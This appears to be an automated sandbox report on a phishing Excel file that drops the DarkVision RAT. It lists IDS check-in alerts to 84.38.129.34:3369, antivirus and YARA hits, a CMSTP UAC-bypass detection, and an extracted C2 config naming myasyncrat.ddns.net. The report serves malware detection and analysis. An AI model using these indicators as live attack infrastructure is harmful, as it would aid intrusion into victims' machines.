2025-03-11T09:13:15.482849+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49732	84.38.129.34	3369	TCP
2025-03-11T09:13:16.271074+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49733	84.38.129.34	3369	TCP
2025-03-11T09:13:17.107375+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49734	84.38.129.34	3369	TCP
2025-03-11T09:13:17.897749+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49735	84.38.129.34	3369	TCP
2025-03-11T09:14:19.144733+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49740	84.38.129.34	3369	TCP
2025-03-11T09:14:20.693296+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49741	84.38.129.34	3369	TCP
2025-03-11T09:14:21.485023+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49742	84.38.129.34	3369	TCP
2025-03-11T09:14:22.285681+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49743	84.38.129.34	3369	TCP
2025-03-11T09:14:23.105771+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49744	84.38.129.34	3369	TCP
2025-03-11T09:14:23.892180+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49745	84.38.129.34	3369	TCP
2025-03-11T09:15:25.435564+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49746	84.38.129.34	3369	TCP
2025-03-11T09:15:26.980852+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49747	84.38.129.34	3369	TCP
2025-03-11T09:15:27.769902+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49748	84.38.129.34	3369	TCP
2025-03-11T09:15:28.584015+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49749	84.38.129.34	3369	TCP
2025-03-11T09:15:29.371709+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49750	84.38.129.34	3369	TCP
2025-03-11T09:15:30.165707+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49751	84.38.129.34	3369	TCP
2025-03-11T09:16:31.200880+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49752	84.38.129.34	3369	TCP
2025-03-11T09:16:32.721864+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49753	84.38.129.34	3369	TCP
2025-03-11T09:16:33.519209+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49754	84.38.129.34	3369	TCP
2025-03-11T09:16:34.343812+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49755	84.38.129.34	3369	TCP
2025-03-11T09:16:35.128035+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49756	84.38.129.34	3369	TCP
2025-03-11T09:16:35.911570+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49757	84.38.129.34	3369	TCP
2025-03-11T09:17:37.560776+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49758	84.38.129.34	3369	TCP
2025-03-11T09:17:39.114159+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49759	84.38.129.34	3369	TCP
2025-03-11T09:17:39.937782+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49760	84.38.129.34	3369	TCP
2025-03-11T09:17:40.721046+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49761	84.38.129.34	3369	TCP
2025-03-11T09:17:41.528004+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49762	84.38.129.34	3369	TCP
2025-03-11T09:17:43.330003+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49763	84.38.129.34	3369	TCP
2025-03-11T09:18:43.385047+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49765	84.38.129.34	3369	TCP
2025-03-11T09:18:44.892855+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49766	84.38.129.34	3369	TCP
2025-03-11T09:18:45.674723+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49767	84.38.129.34	3369	TCP
2025-03-11T09:18:46.457340+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49768	84.38.129.34	3369	TCP
2025-03-11T09:18:47.241808+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49769	84.38.129.34	3369	TCP
2025-03-11T09:18:48.060076+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49770	84.38.129.34	3369	TCP
2025-03-11T09:19:50.001318+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49771	84.38.129.34	3369	TCP
2025-03-11T09:19:51.530639+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49772	84.38.129.34	3369	TCP
2025-03-11T09:19:52.340237+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49773	84.38.129.34	3369	TCP
2025-03-11T09:19:53.151154+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49774	84.38.129.34	3369	TCP
2025-03-11T09:19:53.932851+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49775	84.38.129.34	3369	TCP
2025-03-11T09:19:54.749781+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49776	84.38.129.34	3369	TCP
2025-03-11T09:20:55.826171+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49777	84.38.129.34	3369	TCP
2025-03-11T09:20:57.345135+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49778	84.38.129.34	3369	TCP
2025-03-11T09:20:58.146867+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49779	84.38.129.34	3369	TCP
2025-03-11T09:20:58.925765+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49780	84.38.129.34	3369	TCP
2025-03-11T09:20:59.732838+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49781	84.38.129.34	3369	TCP
2025-03-11T09:21:00.509814+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49782	84.38.129.34	3369	TCP
2025-03-11T09:22:01.667975+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49783	84.38.129.34	3369	TCP
2025-03-11T09:22:03.169886+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49784	84.38.129.34	3369	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:13:14.241305+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49730	84.38.129.34	3369	TCP
2025-03-11T09:14:20.257458+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49740	84.38.129.34	3369	TCP
2025-03-11T09:15:26.529772+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49746	84.38.129.34	3369	TCP
2025-03-11T09:16:32.289929+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49752	84.38.129.34	3369	TCP
2025-03-11T09:17:38.661675+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49758	84.38.129.34	3369	TCP
2025-03-11T09:18:44.462572+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49765	84.38.129.34	3369	TCP
2025-03-11T09:19:51.095957+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49771	84.38.129.34	3369	TCP
2025-03-11T09:20:56.888841+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49777	84.38.129.34	3369	TCP
2025-03-11T09:22:02.742842+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49783	84.38.129.34	3369	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO202503D.xlsm

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\msvcp290.dll	Avira: detection malicious, Label: TR/AVI.Agent.bzhgo
Source: C:\Users\user\SystemRootDoc\msvcp290.dll	Avira: detection malicious, Label: TR/AVI.Agent.bzhgo

Found malware configuration

Source: 0000000C.00000002.1315965400.000002333C8D5000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: DarkVision Rat {"C2": "myasyncrat.ddns.net", "Port": 3369}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\msvcp290.dll	ReversingLabs: Detection: 21%
Source: C:\Users\user\SystemRootDoc\msvcp290.dll	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: PO202503D.xlsm

Virustotal: Detection: 19%

Perma Link

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1316214716.00000273D3000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC506A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF21000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C86A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537278105.0000025C5A000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC5000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF2106A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1453587554.0000023FB6000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 7640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8636, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\SystemRootDoc\nasrallah_x86.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\invoice_temp\nasrallah_x86.dll, type: DROPPED

Phishing

AI detected landing page (webpage, office document or email)

Source: Screenshot id: 2	Joe Sandbox AI: Page contains button: 'View Document' Source: 'Screenshot id: 2'
Source: Screenshot id: 2	Joe Sandbox AI: Screenshot id: 2 contains prominent button: 'view document'
Source: Screenshot id: 5	Joe Sandbox AI: Page contains button: 'View Document' Source: 'Screenshot id: 5'
Source: Screenshot id: 5	Joe Sandbox AI: Screenshot id: 5 contains prominent button: 'view document'
Source: Screenshot id: 3	Joe Sandbox AI: Page contains button: 'View Document' Source: 'Screenshot id: 3'
Source: Screenshot id: 3	Joe Sandbox AI: Screenshot id: 3 contains prominent button: 'view document'

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 149.137.128.16:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEF7210 SetLastError,FindFirstFileExW,GetLastError,		12_2_00007FFC9CEF7210
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE47210 SetLastError,FindFirstFileExW,GetLastError,		28_2_00007FFC9CE47210

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Program Files\7-Zip\7z.exe

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rsi]	12_2_00007FF6220A7A50
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rcx]	12_2_00007FF6220A55C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FF6220A21F3
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	12_2_00007FFC9CC9DD60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CD11D30
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rdi	12_2_00007FFC9CD0FF20
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r14	12_2_00007FFC9CD0FF20
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	12_2_00007FFC9CC7DEE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CC83FA0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CCED9D0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC699C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CCC7980
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CC7DB40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CC7DBB0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then xor eax, eax	12_2_00007FFC9CC71650
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	12_2_00007FFC9CCDD640
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CC8CCA0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then cmp byte ptr [rcx+1Dh], 00000000h	12_2_00007FFC9CCFCDE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then mov rcx, qword ptr [rcx+08h]	12_2_00007FFC9CC70F10
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	12_2_00007FFC9CC9F040
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC75030
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbp	12_2_00007FFC9CD0C9E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC84630
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC84630
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CC845A0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CC846F0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CD10160
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CC98170
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CC8E120
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CCEE240
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rdi	12_2_00007FFC9CC76260
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CCFE1C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CC9819C
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC84340
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC84340
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CC84340
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then mov rcx, qword ptr [rcx+08h]	12_2_00007FFC9CEAADD0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEFBE40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CEC9DB0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rdi	12_2_00007FFC9CF4E020
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r14	12_2_00007FFC9CF4E020
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEB5ED0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	12_2_00007FFC9CED59C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	12_2_00007FFC9CF11C00
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then cmp edx, 02h	12_2_00007FFC9CF2BB00
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEDBBB0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEA7650
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CECF280
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CEF3420
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push r15	12_2_00007FFC9CEC7400
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CEF33D0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rsi	12_2_00007FFC9CEBCD40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEBCCF0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then test r8d, r8d	12_2_00007FFC9CF3AF80
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbp	12_2_00007FFC9CED0E99
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEBC980
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEBC980
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEBC980
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEDAB30
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEAEB10
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEBCC30
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEBCC30
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbp	12_2_00007FFC9CE92C25
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEBCBE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEDC5D0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	12_2_00007FFC9CED46E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEBC690
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then mov rax, qword ptr [rcx+08h]	12_2_00007FFC9CEFE230
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbp	12_2_00007FFC9CF4A0E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEB61E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rbx	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 4x nop then push rdi	12_2_00007FFC9CEB0190
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rsi]	28_2_00007FF6E44A7A50
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rcx]	28_2_00007FF6E44A55C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FF6E44A21F3
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	28_2_00007FFC9CBEDD60
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CC61D30
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rdi	28_2_00007FFC9CC5FF20
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r14	28_2_00007FFC9CC5FF20
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	28_2_00007FFC9CBCDEE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CBD3FA0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CC3D9D0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBB99C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CC17980
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CBCDB40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CBCDBB0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	28_2_00007FFC9CC2D640
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then xor eax, eax	28_2_00007FFC9CBC167D
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rdi	28_2_00007FFC9CBED780
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CBDCCA0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then cmp byte ptr [rcx+1Dh], 00000000h	28_2_00007FFC9CC4CDE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov rcx, qword ptr [rcx+08h]	28_2_00007FFC9CBC0F10
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	28_2_00007FFC9CBEF040
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBC5030
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbp	28_2_00007FFC9CC5C9E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBD4630
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBD4630
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CBD45A0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CBD46F0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CC60160
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CBE8170
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CBDE120
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CC3E240
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rdi	28_2_00007FFC9CBC6260
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CC4E1C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CBE819C
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBD4340
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBD4340
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CBD4340
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov rcx, qword ptr [rcx+08h]	28_2_00007FFC9CDFADD0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE4BE40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CE19DB0
